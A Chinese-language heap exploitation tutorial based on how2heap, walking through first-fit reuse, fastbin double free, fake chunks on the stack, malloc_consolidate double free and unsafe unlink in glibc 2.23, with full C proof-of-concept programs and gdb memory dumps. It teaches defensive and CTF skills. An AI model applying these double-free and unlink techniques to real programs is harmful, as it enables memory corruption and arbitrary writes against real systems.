堆習題練習(how2heap)
這里我們借用shellphish 團隊制作的堆利用教程how2heap
在做這些練習題之前,建議大家去看一看華庭寫的“Glibc內存管理-Ptmalloc2源碼分析”
鏈接: https://pan.baidu.com/s/1sobxbN9nHDfqnruAcCtdzQ 密碼: l343
前提知識儲備
- 熟悉堆內存塊的分配方式
- 熟悉各種bin的內存布局
如果想要學好本章節的話,非常推薦大家用gdb調試一下,關鍵位置單步跟蹤觀察內存情況。
堆利用工具匯總
shadow
jemalloc exploitation framework: https://github.com/CENSUS/shadow
libheap
Examine the glibc heap in gdb: https://github.com/cloudburst/libheap
heap-viewer
Examine the glibc heap in IDA Pro: https://github.com/danigargu/heap-viewer
heapinspect
A Python based heap playground with good visualization for educational purposes: https://github.com/matrix1001/heapinspect
測試環境 GLIBC 2.23
first_fit
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char* a = malloc(512);
char* b = malloc(256);
char* c;
fprintf(stderr, "1st malloc(512): %p\n", a);
fprintf(stderr, "2nd malloc(256): %p\n", b);
strcpy(a, "AAAAAAAA");
strcpy(b, "BBBBBBBB");
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "Freeing the first one...\n");
free(a);
c = malloc(500);
fprintf(stderr, "3rd malloc(500): %p\n", c);
strcpy(c, "CCCCCCCC");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
}
這個程序并不展示如何攻擊,而是展示glibc的一種分配規則.
glibc使用一種first-fit算法去選擇一個free-chunk.
如果存在一個free-chunk并且足夠大的話,malloc會優先選取這個chunk.
這種機制就可以在被利用于use after free(簡稱uaf)的情形中.
先分配兩個buffer,可以分配大一點,是不是fastbin也無所謂.
gcc -g first_fit.c

這第一個程序展示了 glibc 堆分配的策略,即 first-fit。在分配內存時,malloc 會先到 unsorted bin(或者fastbins) 中查找適合的被 free 的 chunk,如果沒有,就會把 unsorted bin 中的所有 chunk 分別放入到所屬的 bins 中,然后再去這些 bins 里去找合適的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk,并把它重新分配。
一個很明顯的 use-after-free 漏洞。關于這類漏洞的詳細利用過程,我們會在后面的章節里再講。
fastbin_dup
這個程序更具體地展示了上一個程序所介紹的技巧,通過欺騙malloc來返回一個我們可控的區域的指針(在這個例子中,我們可以返回一個棧指針)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
fprintf(stderr, "Allocating 3 buffers.\n");
char *a = malloc(9);
char *b = malloc(9);
char *c = malloc(9);
strcpy(a, "AAAAAAAA");
strcpy(b, "BBBBBBBB");
strcpy(c, "CCCCCCCC");
fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
fprintf(stderr, "Freeing the first one %p.\n", a);
free(a);
fprintf(stderr, "Then freeing another one %p.\n", b);
free(b);
fprintf(stderr, "Freeing the first one %p again.\n", a);
free(a);
fprintf(stderr, "Allocating 3 buffers.\n");
char *d = malloc(9);
char *e = malloc(9);
char *f = malloc(9);
strcpy(d, "DDDDDDDD");
fprintf(stderr, "4st malloc(9) %p points to %s the first time\n", d, d);
strcpy(e, "EEEEEEEE");
fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
strcpy(f, "FFFFFFFF");
fprintf(stderr, "6rd malloc(9) %p points to %s the second time\n", f, f);
}
這個程序展示了一個利用fastbin進行的double-free攻擊. 攻擊比較簡單.
gcc -g fastbin_dup.c

可以看到首先分配三塊內存,當free掉第一塊內存之后,再free一次該內存塊是不行的,因為這時候這塊內存剛好在對應的free-list的頂部,再次free這塊內存就會被檢查到,這里就free第二塊內存。現在我們再次free第一塊內存,因為它已經不在鏈表頂部了。
這時候的free-list有這三塊內存[ 0x1a9710, 0x1a9730, 0x1a9710 ],如果我們malloc三次的話,就會得到0x1a970兩次。
總結一下
這個程序展示了利用 fastbins 的 double-free 攻擊,可以泄漏出一塊已經被分配的內存指針。fastbins 可以看成一個 LIFO 的棧,使用單鏈表實現,通過 fastbin->fd 來遍歷 fastbins。由于 free 的過程會對 free list 做檢查,我們不能連續兩次 free 同一個 chunk,所以這里在兩次 free 之間,增加了一次對其他 chunk 的 free 過程,從而繞過檢查順利執行。然后再 malloc 三次,就在同一個地址 malloc 了兩次,也就有了兩個指向同一塊內存區域的指針。
這里展示了一個簡單的double-free,關于double-free更具體的利用在下面介紹。
fastbin_dup_into_stack
這個程序更具體地展示了上一個程序所介紹的技巧,通過欺騙malloc來返回一個我們可控的區域的指針(在這個例子中,我們可以返回一個棧指針)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
unsigned long long stack_var = 0x21;
fprintf(stderr, "Allocating 3 buffers.\n");
char *a = malloc(9);
char *b = malloc(9);
char *c = malloc(9);
strcpy(a, "AAAAAAAA");
strcpy(b, "BBBBBBBB");
strcpy(c, "CCCCCCCC");
fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
fprintf(stderr, "Freeing the first one %p.\n", a);
free(a);
fprintf(stderr, "Then freeing another one %p.\n", b);
free(b);
fprintf(stderr, "Freeing the first one %p again.\n", a);
free(a);
fprintf(stderr, "Allocating 4 buffers.\n");
unsigned long long *d = malloc(9);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "4nd malloc(9) %p points to %p\n", d, &d);
char *e = malloc(9);
strcpy(e, "EEEEEEEE");
fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
char *f = malloc(9);
strcpy(f, "FFFFFFFF");
fprintf(stderr, "6rd malloc(9) %p points to %s\n", f, f);
char *g = malloc(9);
strcpy(g, "GGGGGGGG");
fprintf(stderr, "7th malloc(9) %p points to %s\n", g, g);
}
運行
這個程序和上個程序差不多,區別在于,這個程序在double-free之后多偽造了一個chunk在鏈表上,進行了第四次malloc,將我們可以控制的一個地址malloc了出來.
當然,這個地址也可以是堆地址,只要可控(因為我們至少要偽造好size字段來逃過檢查).
在偽造好的堆塊被放到鏈表之前,free-list是這樣的(圖中的地址的值和上面程序直接輸出的不一樣,是因為我的系統開了ASLR.)
通過double-free后的第三次malloc將偽造的堆塊地址放在了free-list,效果如下

也許有人會有疑問,為什么鏈表上還會多出來一個地址? 那是因為我們偽造的堆塊的fd指針位置剛好是這個地址的值.可以查看一下內存:

不過這可能會給我們后面的malloc帶來一定影響,所以,我們可以在malloc出我們的偽堆塊之前確保fd字段為0.
fastbin_dup_consolidate
這個程序展示了利用在 large bin 的分配中 malloc_consolidate 機制繞過 fastbin 對 double free 的檢查,這個檢查在 fastbin_dup 中已經展示過了,只不過它利用的是在兩次 free 中間插入一次對其它 chunk 的 free。
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
int main() {
void *p1 = malloc(0x10);
void *p2 = malloc(0x10);
strcpy(p1, "AAAAAAAA");
strcpy(p2, "BBBBBBBB");
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);
void *p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
void *p4 = malloc(0x10);
strcpy(p4, "CCCCCCC");
void *p5 = malloc(0x10);
strcpy(p5, "DDDDDDDD");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", p4, p5);
}

首先分配兩個 fast chunk:
gef? x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1
0x602010: 0x4141414141414141 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk p2
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 <-- top chunk
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000
釋放掉 p1,則空閑 chunk 加入到 fastbins 中:
gef? x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed]
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk p2
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 <-- top chunk
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000
gef? heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
此時如果我們再次釋放 p1,必然觸發 double free 異常,然而,如果此時分配一個 large chunk,效果如下:
gef? x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed]
0x602010: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 <-- fd, bk pointer
0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000
gef? heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] 0x00
gef? heap bins small
[ Small Bins for arena 'main_arena' ]
[+] small_bins[1]: fw=0x602000, bk=0x602000
→ Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
[+] Found 1 chunks in 1 small non-empty bins.
可以看到 fastbins 中的 chunk 已經不見了,反而出現在了 small bins 中,并且 chunk p2 的 prev_size 和 size 字段都被修改。
看一下 large chunk 的分配過程:
/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/
else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}
當分配 large chunk 時,首先根據 chunk 的大小獲得對應的 large bin 的 index,接著判斷當前分配區的 fast bins 中是否包含 chunk,如果有,調用 malloc_consolidate() 函數合并 fast bins 中的 chunk,并將這些空閑 chunk 加入 unsorted bin 中。因為這里分配的是一個 large chunk,所以 unsorted bin 中的 chunk 按照大小被放回 small bins 或 large bins 中。
由于此時 p1 已經不在 fastbins 的頂部,可以再次釋放 p1:
gef? x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [double freed]
0x602010: 0x0000000000000000 0x00007ffff7dd1b88
0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000
gef? heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
gef? heap bins small
[ Small Bins for arena 'main_arena' ]
[+] small_bins[1]: fw=0x602000, bk=0x602000
→ Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
[+] Found 1 chunks in 1 small non-empty bins.
p1 被再次放入 fastbins,于是 p1 同時存在于 fabins 和 small bins 中。
第一次 malloc,chunk 將從 fastbins 中取出:
gef? x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed], chunk p4
0x602010: 0x0043434343434343 0x00007ffff7dd1b88
0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000
gef? heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] 0x00
gef? heap bins small
[ Small Bins for arena 'main_arena' ]
[+] small_bins[1]: fw=0x602000, bk=0x602000
→ Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
[+] Found 1 chunks in 1 small non-empty bins.
第二次 malloc,chunk 從 small bins 中取出:
gef? x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p4, chunk p5
0x602010: 0x4444444444444444 0x00007ffff7dd1b00
0x602020: 0x0000000000000020 0x0000000000000021 <-- chunk p2
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000
chunk p4 和 p5 在同一位置。
unsafe_unlink
這個程序展示了怎樣利用 free 改寫全局指針 chunk0_ptr 達到任意內存寫的目的,即 unsafe unlink。該技術最常見的利用場景是我們有一個可以溢出漏洞和一個全局指針。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main() {
int malloc_size = 0x80; // not fastbins
int header_size = 2;
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
// pass this check: (P->fd->bk != P || P->bk->fd != P) == False
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size;
chunk1_hdr[1] &= ~1;
free(chunk1_ptr);
char victim_string[9];
strcpy(victim_string, "AAAAAAAA");
chunk0_ptr[3] = (uint64_t) victim_string;
fprintf(stderr, "Original value: %s\n", victim_string);
chunk0_ptr[0] = 0x4242424242424242LL;
fprintf(stderr, "New Value: %s\n", victim_string);
}
libc-2.23其中 unlink 實現的代碼如下,其中有一些對前后堆塊的檢查,也是我們需要繞過的:
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
在解鏈操作之前,針對堆塊 P 自身的 fd 和 bk 檢查了鏈表的完整性,即判斷堆塊 P 的前一塊 fd 的指針是否指向 P,以及后一塊 bk 的指針是否指向 P。
這個練習的關鍵在于利用free()來改寫全局指針chunk0_ptr以達到任意地址寫入的目的.
在申請了chunk0和chunk1后看一下內存

接下來要繞過if (__builtin_expect (FD->bk != P || BK->fd != P, 0))這個檢查了,這個檢查有個缺陷,就是 fd/bk 指針都是通過與 chunk 頭部的相對地址來查找的。所以我們可以利用全局指針 chunk0_ptr 構造 fake chunk 來繞過它:
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
...
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size;
chunk1_hdr[1] &= ~1;

可以看到,我們在 chunk0 里構造一個 fake chunk,用 P 表示,兩個指針 fd 和 bk 可以構成兩條鏈:P->fd->bk == P,P->bk->fd == P,可以繞過檢查。另外利用 chunk0 的溢出漏洞,通過修改 chunk 1 的 prev_size 為 fake chunk 的大小,修改 PREV_INUSE 標志位為 0,將 fake chunk 偽造成一個 free chunk。
接下來就是釋放掉 chunk1,這會觸發 fake chunk 的 unlink 并覆蓋 chunk0_ptr 的值。unlink 操作是這樣進行的:
FD = P->fd;
BK = P->bk;
FD->bk = BK
BK->fd = FD
根據 fd 和 bk 指針在 malloc_chunk 結構體中的位置,這段代碼等價于:
FD = P->fd = &P - 24
BK = P->bk = &P - 16
FD->bk = *(&P - 24 + 24) = P
FD->fd = *(&P - 16 + 16) = P
這樣就通過了 unlink 的檢查,最終效果為:
FD->bk = P = BK = &P - 16
BK->fd = P = FD = &P - 24
原本指向堆上 fake chunk 的指針 P 指向了自身地址減 24 的位置,這就意味著如果程序功能允許堆 P 進行寫入,就能改寫 P 指針自身的地址,從而造成任意內存寫入。若允許堆 P 進行讀取,則會造成信息泄漏。
在這個例子中,由于 P->fd->bk 和 P->bk->fd 都指向 P,所以最后的結果為:
chunk0_ptr = P = P->fd
成功地修改了 chunk0_ptr,這時 chunk0_ptr 和 chunk0_ptr[3] 實際上就是同一東西。這里可能會有疑惑為什么這兩個東西是一樣的,因為 chunk0_ptr 指針在是放在數據段上的,地址在 0x601070,指向 0x601058,而 chunk0_ptr[3] 的意思是從 chunk0_ptr 指向的地方開始數 3 個單位,所以 0x601058+0x08*3=0x601070:

所以,修改 chunk0_ptr[3] 就等于修改 chunk0_ptr:

這時 chunk0_ptr 就指向了 victim_string,修改它:
gef? x/gx chunk0_ptr
0x7fffffffdc70: 0x4242424242424242
成功完成修改任意地址的任務。
參考